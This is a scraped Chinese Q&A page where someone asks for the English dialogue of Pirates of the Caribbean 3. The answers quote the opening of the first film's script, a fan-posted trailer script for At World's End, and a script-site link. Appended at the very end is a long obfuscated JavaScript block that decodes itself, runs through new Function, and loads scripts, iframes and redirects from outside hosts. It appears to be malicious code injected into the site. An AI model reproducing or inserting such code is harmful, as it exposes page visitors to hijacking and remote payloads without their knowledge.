谁帮我找下加勒比海盗3的全部英文台词

如题
2025-03-03 10:29:09
推荐回答(4个)
回答1:

  台词太多实在无法全部贴上 请与本人联系 将以邮件形式发送

  --THE CURSE OF THE BLACK PEARL

  [Elizabeth singing softly]:Drink up,me hearties,yo ho;
  We kidnap and ravage and don't give a hoot;
  Drink up,me hearties,yo ho;
  Yo ho,yo ho,A pirate's life for me;
  We extort,we pilfer,we filch and sack,Drink up...;

  [Gibbs]: Quite,missy. Cursed pirates sail these waters. You don't want to bring them..

  [Norrington]: Mr.Gibbs,that will do.

  [Gibbs]: She was singing about pirates. It's bad luck to be singing about pirates with us mired in this unnatural fog. Mark

  my words.

  [Norrington]: Consider them marked. On your way.

  [Gibbs]: Aye,Lieutenant. It's bad luck to have a woman on board,too. Even a miniature one.

  [Elizabeth]: I think it'd be rather exciting to meet a pirate.

  [Norrington]: Think again,Miss Swann. Vile and dissolute creatures,the lot of them. I intend that any man who sails under a

  pirate flag or wears a pirate brand gets what he deserves. A short drop and a sudden stop.

  [Swann]: Lieutenant Norrington,I appreciate your fervor,but I'm concerned about the effect this subject will have upon my

  daughter.

  [Norrington]: My apologies,Governor Swann.

  [Elizabeth]: Actually,I find it all fascinating.

  [Swann]: Yes.That's what concerns me.

  [Elizabeth]: Look! A boy! There's a boy in the water!

  [Norrington]: Man overboard! Man the ropes. Fetch a hook. Haul him aboard. He's still breathing.

  [Gibbs]: Mary,Mother of God.

  [Swann]: What happened here?

  [Norrington]: It's the powder magazine.Merchant vessels run heavily armed.

  [Gibbs]: A lot of good it did them. Everyone's thinking it. I'm just saying it. Pirates.

  [Swann]: There's no proof of that. It's probably an accident.

  [Norrington]: Rouse the captain immediately. Heave to and take in sail. Launch the boats.

  [Swann]: Elizabeth, I want you to accompany the boy. He'll be in your charge. Take care of him.

  [Elizabeth]: It's okay. My name's Elizabeth Swann.

  [Will]: Will Turner.

  [Elizabeth]: I'm watching over you,Will. You're a pirate.

  [Norrington]: Has he said anything?

  [Elizabeth]: His name's William Turner. That's all I found out.

  [Norrington]: Take him below.

  [Swann]: Elizabeth? Are you all right? Are you decent?

  [Elizabeth]: Yes.

  [Swann]: Still abed at this hour? Oh,it's a beautiful day. I have a gift for you.

  [Elizabeth]: Oh,it's beautiful.

  [Swann]: Isn't it?

  [Elizabeth]: May I inquire as to the occasion?

  [Swann]: Does a father need an occasion to dote upon his daughter? Go on. Actually,I... I hoped you might wear it for the

  ceremony today.

  [Elizabeth]: The ceremony?

  [Swann]: Captain Norrington's promotion ceremony.

  [Elizabeth]: I knew it.

  [Swann]: Commodore Norrington,as he's about to become. A fine gentleman, don't you think? He fancies you,you know. Elizabeth?

  How's it coming?

  [Elizabeth]: It's difficult to say.

  [Swann]: I'm told it's the latest fashion in London.

  [Elizabeth]: Well,women in London must've learnt not to breathe.

  [MAN]:Milord,you have a visitor.

  [Swann]: Mr.Turner. Good to see you again.

  [Will]: Good day,sir. I have your order.

  [Swann]: Well.

  [Will]: The blade is folded steel. That's gold filigree laid into the handle. If I may. Perfectly balanced. The tang is

  nearly the full width of the blade.

  [Swann]: Impressive. Very impressive. Now,now. Commodore Norrington is going to be very pleased with this. Do pass my

  compliments on to your master.

  [Will]: I shall. A craftsman is always pleased to hear his work is appreciated.

  [Swann]: Elizabeth,you look absolutely stunning.

  [Elizabeth]: Will. It's so good to see you. I had a dream about you last night.

  [Will]: About me?

  [Swann]: Is that entirely proper for you...

  [Elizabeth]: About the day we met. Do you remember?

  [Will]: How could I forget,Miss Swann?

  [Elizabeth]: How many times must I ask you to call me Elizabeth?

  [Will]: At least once more,Miss Swann,as always.

  [Swann]: There. See? At least the boy has a sense of propriety. We really must be going. There you are.

  [Elizabeth]: Good day,Mr.Turner.

  [Swann]: Come along.

  [Will]: Good day. Elizabeth...

回答2:

看来,剧本是改了。不过至少那个螃蟹团搬黑珍珠号的镜头保留着。。。
而,预告结尾处,那个神秘的新角色终于露面了!!哈哈哈,大家猜到是谁了吗? (貌似第3部“几个“老人有重要情节!!)
又及:看来船长的经典"Savvy?"有出处了,不知道是一物降一物还是like father like son ...

Delving around Jo Blo's site I discovered the script of the POTC3 trailer. It will apparently be attached to the Santa Clause 3 movie coming out this winter, though Disney has not confirmed this:

Thunder STRIKES over WDP Logo.

OPENING SHOT: A dark night overlooking a Singapore Trading Harbor.

CAPTAIN SAO FENG: (Voice-Over) I hear a song Miss Swann. A song that has been sung by children, ghosts, and madmen. Yo..Ho...Yo..Ho...

Shot of SAO FENG smiling into Elizabeth's eyes.

ELIZABETH: Sounds better after a bottle of rum.

She pulls a cutlass to strike, is easily parried by Sao Feng. Will Turner appears behind him with a blade at his throat.

WILL TURNER: We're not here for you. We offer-

WILL is cutoff as SAO FENG administers a series of elbows and strikes, driving Will back into a barrel.

SAO FENG raises an iron claw to finish WILL off and is stopped by a blunderbuss (pistol) clicking right in his ear.

Camera swings around to reveal Barbossa with Monkey Jack on his shoulder.

BARBOSSA: We've come for The Black Pearl, Captain.

WILL and ELIZABETH turn to BARBOSSA with questioning looks.

BARBOSSA rolls his eyes.

BARBOSSA: And...for the soul of

Shot of pleased looking GIBBS on shore.

GIBBS: Captain?

Shot of LORD CUTTER whirling to face GOVERNOR SWANN.

CUTTER: Jack!

Shot of Davy Jones dropping an eye monicle on a navigation chart.

DAVY JONES: (whispers) ...Sparrow.

Turns to his crew.

DAVY JONES: The Locker!

Screen goes black.

JACK SPARROW: (echo voice-over) I'm in...something of a pinch mate.

Shot of WILL and BARBOSS in TIA DALMA's shack peering into a glass rock. Thousands of giant mutated crabs start to pour out of it and onto the dock. Jack's arms flail from the same portal. BARBOSSA and WILL step back.

Series of super quick shots.

WILL throwing ELIZABETH'S arms off him.

NORRINGTON in fresh Admiral's uniform aboard his own Royal Navy ship.

TIA DALMA laughing and sprinkling sand out of her hand.

SAO FENG: (voice over) You've come so far...

RAGETTI puts in a diamond eye and looks happy.

The KRAKEN's tentacles curling up behind NORRINGTON's ship.

GOVERNOR SWANN attacking CUTTER and being restained by his men and shackled.

SAO FENG: But will you go all the way to the end?

JACK SPARROW in a surreal desert (Purgatory) falling into quicksand and crabs. BARBOSSA reaching to pull him out.

JACK SPARROW: I'll not be saved by the likes of you!

Folds his arms in refusal and continues to sink.

BARBOSSA: And I don't want to be saving ya, but I don't see any sea turtles around to help ya now Jack.

"BOOTSTRAP" BILL sits at a campfire talking to someone OC.

BILL: I need to find him...he's...my son.

VOICE: You have a son?

BILL: Yes.

VOICE: I have a son as well. In these very waters. I'll help you find yours if you help uncover mine.

The owner of the VOICE leans into the fire and we see his face.

CAPTAIN GRANT "The Sea Sponge" SPARROW: Savvy?

PIRATES OF THE CARIBBEAN: AT WORLD'S END

NEXT YEAR
CAPTAIN JACK
ATTACKS!

SUMMER 2007.

From Coming Soon
Pirates of the Caribbean 3 Footage Revealed!
Source: Brent
July 23, 2006

回答3:

下个英文字幕不就得了。

回答4:

Pirates Of The Caribbean Script - Dialogue Transcript
http://www.script-o-rama.com/movie_scripts/p/pirates-of-the-caribbean-script-transcript.html

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();